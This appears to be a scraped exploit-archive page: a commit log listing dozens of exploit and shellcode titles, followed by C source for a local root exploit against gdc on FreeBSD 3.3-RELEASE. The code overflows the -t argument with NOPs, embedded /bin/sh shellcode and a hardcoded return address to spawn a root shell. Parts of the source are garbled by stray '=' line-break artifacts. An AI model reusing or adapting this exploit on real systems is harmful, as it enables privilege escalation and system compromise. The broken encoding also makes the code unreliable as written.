880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
61 lines
No EOL
2 KiB
C
61 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/834/info
|
|
|
|
There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed along with the -t flag (time) exceeds its predefined buffer length. It is possible to then corrupt the stack and alter the flow of execution (and execute arbitrary code). With gdc setuid root by default, this can lead to a local root compromise if exploited by users who have or gain access of or belong to the wheel group (or trusted gated group).
|
|
|
|
/*
|
|
|
|
* gdc exploit for Freebsd-3.3 yields euid=0(root)
|
|
* by default, only group wheel (or whatever your trusted gated group is)=
|
|
|
|
* and root can run gdc
|
|
* Brock Tellier btellier@usa.net
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
char shell[] = /* mudge@l0pht.com */
|
|
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
|
|
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
|
|
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
|
|
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
|
|
|
|
|
|
main (int argc, char *argv[] ) {
|
|
int x = 0;
|
|
int y = 0;
|
|
int offset = 0;
|
|
int bsize = 4093;
|
|
char buf[bsize];
|
|
int eip = 0xbfbfdb65; /* works for me */
|
|
|
|
if (argv[1]) { =
|
|
|
|
offset = atoi(argv[1]);
|
|
eip = eip + offset;
|
|
}
|
|
fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\=
|
|
n");
|
|
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi=
|
|
ze);
|
|
=
|
|
|
|
for ( x = 0; x < 937; x++) buf[x] = 0x90;
|
|
fprintf(stderr, "NOPs to %d\n", x);
|
|
=
|
|
|
|
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
|
|
fprintf(stderr, "Shellcode to %d\n",x);
|
|
=
|
|
|
|
buf[x++] = eip & 0x000000ff;
|
|
buf[x++] = (eip & 0x0000ff00) >> 8;
|
|
buf[x++] = (eip & 0x00ff0000) >> 16;
|
|
buf[x++] = (eip & 0xff000000) >> 24;
|
|
fprintf(stderr, "eip to %d\n",x);
|
|
|
|
buf[bsize - 1]='\0';
|
|
|
|
execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);
|
|
|
|
} |